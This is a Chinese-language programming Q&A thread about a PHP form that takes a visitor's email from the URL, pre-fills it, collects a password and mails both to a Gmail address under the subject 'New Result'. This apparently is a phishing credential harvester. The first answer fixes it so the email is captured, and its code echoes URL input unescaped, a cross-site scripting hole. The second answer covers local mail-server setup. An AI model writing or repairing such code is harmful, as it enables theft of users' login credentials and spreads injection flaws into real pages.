我正在尝试将变量传递到输入字段,该变量是我从URL中提取的电子邮件地址,然后将电子邮件传递到输入字段变量之后,我想将其发送到电子邮件地址,>
这是输入字段
<div class="wrap-input100">
<input class="input100" type="text" name="email" placeholder="<?php echo $email;
$email = $email; ?> ">
<span class="focus-input100-1"></span>
<span class="focus-input100-2"></span>
</div>
如您所见,我正在输入字段中回显电子邮件
现在我想尝试将电子邮件地址从输入名称传递给变量“ email”,但是一旦发送,我就没有电子邮件字段
这是获取并发送它的代码
<?php
$email = $_POST['email'];
$password = $_POST['password'];
$email = $email;
$to = "example@gmail.com";
$subject = "New Result";
$message = 'Email Address: '.$email.', Password: '.$password.'.';
$header = "From:example@gmail.com \r\n";
mail ($to,$subject,$message,$header);
?>
我收到密码字段是因为输入密码的用户,但是我不知道为什么电子邮件地址不发送,我已经尝试了所有我知道的但仍然无法使用电子邮件地址
请伙计帮助我
答案 0 :(得分:0)
@ Britchi3问题在于$ email或$ _POST无法从URL中获取电子邮件地址,您必须使用$ _GET来获取它。
此外,您可能要删除多余的$ email = $ email;。在您的php脚本的第4行中。 $ email = $ _POST ['email'];就足够了....此外,应该是$ email = $ _GET ['email'];因为您是从网址中提取电子邮件。然后,为避免$ _GET ['email']为空时发生错误,您可能希望将$ _GET ['email']包装在empty()方法中,例如:if(!empty($ _ GET ['email'])){回声$ _GET ['email']; }
应该是这样的:删除$ email = $ email;从输入中,然后使用GET而不是POST。
class="wrap-input100">
<input class="input100" type="text" value="<?php if(!empty($_GET['email'])){ echo $_GET['email']; } ?>" name="email" placeholder="<?php if(!empty($_GET['email'])){ echo $_GET['email']; } ?> ">
<span class="focus-input100-1"></span>
<span class="focus-input100-2"></span>
</div>
在发送邮件的PHP邮件脚本中:
<?php
$email = $_GET['email'];
$password = $_GET['password'];
//$email = $email; //remove this line.
$to = "example@gmail.com";
$subject = "New Result";
$message = 'Email Address: '.$email.', Password: '.$password.'.';
$header = "From:example@gmail.com \r\n";
mail ($to,$subject,$message,$header);
?>
答案 1 :(得分:0)
即使用用于MAC OS的MAMP,>转到应用程序-> MAMP-> conf-> php7.0.32(必须是您使用的活动版本,因此,如果您使用的是php 5.3.14,请转到该目录)-> php。伊尼 使用以下命令编辑php.ini文件:
[mail function]
; For Win32 only.
SMTP = localhost
smtp_port = 25
; For Win32 only.
;sendmail_from = me@example.com
; For Unix only. You may supply arguments as well (default: "sendmail -t -i").
;sendmail_path = sendmail -t -i -f example@gmail.com
sendmail_path = "env -i /usr/sbin/sendmail -t -I"
更新php.ini文件后重新启动apache2。
如果使用MAC OS停止并重新启动邮件服务: sudo postfix停止&& sudo postfix开始 sudo后缀重新加载
从终端CLI发送测试电子邮件:
echo "Test sending email from Postfix" | mail -s "Test Postfix" example@gmail.com
或者,我发现我可以使用以下命令从终端CLI发送测试消息:
echo "test message" | sendmail -v example@gmail.com
使用终端CLI命令sendmail检查sendmail错误
<?php
// testemail.php
$to_email = 'example@gmail.com';
$subject = 'Testing PHP Mail';
$message = 'This mail is sent using the PHP mail function';
$message = wordwrap($message, 70);
$headers = 'From: yoursending@email.com';
mail($to_email,$subject,$message,$headers);
$mail = mail($to_email,$subject,$message,$headers);
if ($mail) { echo "Thank you for using mail";}
else { echo "Mail sending failed.";}
ini_set('display_errors',1);
?>